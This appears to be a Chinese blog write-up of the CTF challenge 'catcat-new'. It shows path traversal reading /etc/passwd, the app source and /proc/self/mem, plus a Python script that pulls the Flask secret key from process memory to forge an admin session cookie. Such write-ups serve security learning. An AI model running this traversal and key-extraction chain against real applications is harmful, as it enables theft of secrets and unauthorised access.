首页 > 其他分享 >【攻防世界】catcat-new

【攻防世界】catcat-new

时间:2024-06-03 15:12:41浏览次数:13  
标签:攻防 end 读取 admin app catcat start session new

catcat-new

题目来源

攻防世界  NO.GFSJ1168

题解

dirsearch爆破目录,得到http://61.147.171.105:55027/admin,没有有用信息

img

点开主页的图片,观察URL,尝试读取/etc/passwd,成功,可以读取文件

img

读取/proc/self/cmdline文件,发现有app.py

img

/proc/self/cmdline 是一个特殊的文件,它提供了当前进程的命令行参数。例如在kali的shell中读取该文件,则会返回 “zsh"

在上一级路径中读取到app.py

img

将bytes转换为字符串以便于阅读,得到以下代码

import os
import uuid
from flask import Flask, request, session, render_template, Markup
from cat import cat

flag = ""
app = Flask(
__name__,
static_url_path='/',
static_folder='static'
)
app.config['SECRET_KEY'] = str(uuid.uuid4()).replace("-", "") + "*abcdefgh"
if os.path.isfile("/flag"):
flag = cat("/flag")
os.remove("/flag")

@app.route('/', methods=['GET'])
def index():
detailtxt = os.listdir('./details/')
cats_list = []
for i in detailtxt:
cats_list.append(i[:i.index('.')])

return render_template("index.html", cats_list=cats_list, cat=cat)



@app.route('/info', methods=["GET", 'POST'])
def info():
filename = "./details/" + request.args.get('file', "")
start = request.args.get('start', "0")
end = request.args.get('end', "0")
name = request.args.get('file', "")[:request.args.get('file', "").index('.')]

return render_template("detail.html", catname=name, info=cat(filename, start, end))



@app.route('/admin', methods=["GET"])
def admin_can_list_root():
if session.get('admin') == 1:
return flag
else:
session['admin'] = 0
return "NoNoNo"



if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5637)

通过源码可以看到,我们需要伪造session,让session里admin的值为1,即可访问/admin,拿到flag。要伪造session,我们需要拿到SECRET_KEY,而SECRET_KEY可以从内存数据中获取。
/proc/self/mem中存储着当前进程在内存中的数据,但是该文件无法直接读取,我们需要先通过/proc/self/maps文件得到内存映射地址,然后读取内存数据文件/proc/self/mem

img

将读到的maps中的数据保存到test.txt文件中,接下来使用脚本进行mem数据的读取。
以下脚本是网上找到的,我只是添加了一些注释

import re
import requests

maps=open('test.txt')       #test.txt存储/proc/self/maps的内容
b = maps.read()             
list = b.split('\\n')       #以换行符分行
for line in list:
    if 'rw' in line:            #寻找可读写的内存区域
        addr = re.search('([0-9a-f]+)-([0-9a-f]+)',line)
        #正则匹配地址,地址格式为十六进制数[0-9a-f],reserch会返回一个re.Match对象,用括号括起来是为了使用group()处理返回结果。
        #由于每一行会有两个地址,表示一个内存区域,因此addr会有group(1)和group(2)
        start = int(addr.group(1),16)  #将十六进制字符转化为十进制数,为了符合start参数格式参考链接
        end = int(addr.group(2),16)    #将十六进制字符转化为十进制数,为了符合end参数格式
        #这里start和end参数是python读取/proc/self/mem需要用到的参数
        print(start,end)
        url = f"http://61.147.171.105:55174//info?file=../../../proc/self/mem&start={start}&end={end}"
        #使用start和end参数读取mem
        response = requests.get(url)
        secret_key = re.findall("[a-z0-9]{32}\*abcdefgh", response.text)  #uuid4()生成的字符串除去-符号后为固定的32字节(128bit),*abcdefgh为题目源码生成uuid后添加的字符串
        if secret_key:
            print(secret_key)
            break

app.py中可以看到info路由中除了file参数,还有startend参数,这两个参数就是用来传递读取mem数据时内存区域对应的地址。
运行脚本得到secret_key:8fe482ecf92b4639801ca7312cf5f73a*abcdefgh

img

使用工具flask_session_cookie_manager伪造session。项目地址:https://github.com/noraj/flask-session-cookie-manager
伪造ssesion需要一个正确的session,将其解密,更改数据后再进行加密

解密

python flask_session_cookie_manager3.py decode -s “secret_key” -c “session”

加密

python flask_session_cookie_manager3.py encode -s “secret_key” -t “data”

获取session值:eyJhZG1pbiI6MH0.Zl1XPA.8KjQ87LqcrnMb34jRHFIB_il4Y0

img

伪造session,根据app.py将数据中admin的值改为1

img

接下来使用伪造的session代替原来的session,访问路由admin,得到flag

img

标签:攻防,end,读取,admin,app,catcat,start,session,new
From: https://www.cnblogs.com/MrSoap/p/18228922

相关文章

  • posterlayout:A new benchmark and approach for content-aware visual-textual presen
    1.introductionPKUPosterLayout包括9974对海报布局和905张图像,DSF设计序列生成算法,一种基于CNN-LSTM的生成对抗网络(DS-GAN),受到图像的条件制约,学习设计序列的分布,从而生成具有内容感知的视觉-文本展示布局。2.RelatedworkLayoutGAN,LayoutGAN++,CGL-GAN。3.ANewBenchmark:......
  • 翻译《The Old New Thing》- What a drag: Dragging a Uniform Resource Locator (URL
    Whatadrag:DraggingaUniformResourceLocator(URL)andtext-TheOldNewThinghttps://devblogs.microsoft.com/oldnewthing/20080313-00/?p=23123RaymondChen 2008年03月13日 麻烦的拖拽:拖拽统一资源定位符(URL)和文本简要        这篇文章主要讲......
  • 翻译《The Old New Thing》- What a drag: Dragging a Uniform Resource Locator (URL
    Whatadrag:DraggingaUniformResourceLocator(URL)-TheOldNewThing(microsoft.com)https://devblogs.microsoft.com/oldnewthing/20080312-00/?p=23133RaymondChen 2008年03月12日麻烦的拖拽:拖拽统一资源定位符(URL)简要本文介绍了如何在Windows程序中实......
  • const filePath = fileURLToPath(new URL('plopfile.js', import.meta.url)); 解释一
    这段代码的作用是获取当前文件所在目录下的plopfile.js文件的绝对路径。这里是逐步解释:import.meta.url:这是ESModules中的一个元属性,它提供了当前模块的绝对URL。在Node.js环境中,当你在一个模块文件中访问import.meta.url时,它会返回该模块文件的文件系统路径转换成的URL格......
  • JMeter源码解析之NewDriver.java(一)
    JMeter源码解析之NewDriver.java(一)NewDriver.java主要作用JMeter程序入口:JMeter的主类-设置初始类路径和加载程序。文件路径路径地址:…\apache-jmeter-5.1\src\core\org\apache\jmeter\NewDriver.java文章重点关于static内容中的代码解析详细的解释请关注代码中的解释......
  • 【c++基础(五)】内存管理--new
    1.前言在C语言中,有四个内存管理函数:malloc,calloc,realloc和free但是使用起来他们却是非常的不方便:int*p1=(int*)malloc(sizeof(int)*n);int*p2=(int*)calloc(4,sizeof(int));int*p3=(int*)realloc(p2,sizeof(int)*10);同时这里也会出现一个问题,malloc不会进......
  • newlib 库介绍和学习
    介绍官网https://sourceware.org/newlib/github代码https://github.com/mirror/newlib-cygwin官网简介Newlib是一个用于嵌入式系统的C库。它是几个库部分的集合,所有这些部分都在免费软件许可证下,使它们可以在嵌入式产品上轻松使用。Newlib仅以源代码形式提供。它可以为广......
  • 翻译《The Old New Thing》- Consequences of the scheduling algorithm: Low priorit
    Consequencesoftheschedulingalgorithm:Lowprioritythreadscantake100%CPU-TheOldNewThing(microsoft.com)https://devblogs.microsoft.com/oldnewthing/20071220-00/?p=24093 RaymondChen 2007年12月20日调度算法的控制:低优先级线程也可能占用100%的......
  • Newtonsoft.Json 序列化器的重写
    //TGD_AUDIT_STATUS、TGD_DEPT_ID都是Int32?的数据类型,如果他们的值包含小数点时直接反序列化会报错的,异常是:字符串的格式不正确,所以此时可以进行客户自定义反序列化的规则设定,这样就问题解决了。自定义实现类中,反序列化时调用ReadJson方法,序列化时调用WriteJson方法。stringj......
  • c++ new delete
     =====================delete是我们c++中的关键字,我们都知道它和new是配套使用的,有new就有delete不然会存在内存泄漏的问题。但是我们使用过delete的同学可能会发现delete有两种形式,一种是delete[],那这两个有什么区别呢?1、delete释放new分配的单个对象指针指向的......